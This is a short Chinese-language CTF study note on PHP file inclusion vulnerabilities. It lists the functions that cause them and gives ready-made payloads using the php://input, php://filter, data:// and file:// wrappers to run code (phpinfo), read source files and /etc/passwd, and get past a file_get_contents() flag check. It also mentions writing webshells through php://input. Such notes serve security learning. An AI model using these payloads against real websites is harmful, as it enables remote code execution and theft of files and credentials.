文件包含漏洞可以用到各种伪协议
0x01文件包含函数
php当中会造成文件包含漏洞的函数有：include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file
php、data伪协议读文件和代码执行的方式：
1.?file=data:text/plain,<?php phpinfo()?> #GET数据 2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= #后面的base64字符是需要传入的字符串的base64编码 3.?file=php://input [POST DATA:]<?php phpinfo()?> #POST数据 4.?file=php://filter/read=convert.base64-encode/resource=xxx.php #get读源码
0x02 php伪协议
需要开启allow_url_fopen的：php://input、php://stdin、php://memory和php://temp
不需要开启allow_wrl_fopen的：php://filter
在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码，php://input用于执行php代码
php://input需要post请求提交数据
php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php
0x03 data伪协议
ctf常用：
?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?file=data:text/plain,<?php phpinfo()?>
0x04 file协议
File:// 访问本地文件系统
file:// 用于访问本地文件系统，如c:盘中的东西。在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
file:// [文件的绝对路径和文件名]
linux 系统环境下：?file=file:///etc/passwd
winows 系统环境下：?file=file:///E:\phpStudy\WWW\code\phpinfo.php
伪协议总结
File协议用于读取系统文件，c盘关键内容。Php://filter 用来读取文件内容，但是要base64后出来，否则会造成文件执行从而只看到执行结果。Php://input（代码执行）可将post请求中的数据作为PHP代码执行。可以用于写木马。Data和input相似，可以代码执行，但只有在php<5.3且include=on时可以写木马。
举个例子
get一个file参数到file_get_contents()函数里，如果返回为指定字符串，就得到了flag
file_get_contents()函数,而这个函数是可以绕过的
绕过方式有多种：
使用php://input伪协议绕过 ① 将要GET的参数?file=php://input ② 用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过 将url改为：?file=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为：?xxx=data:text/plain,(url编码的内容)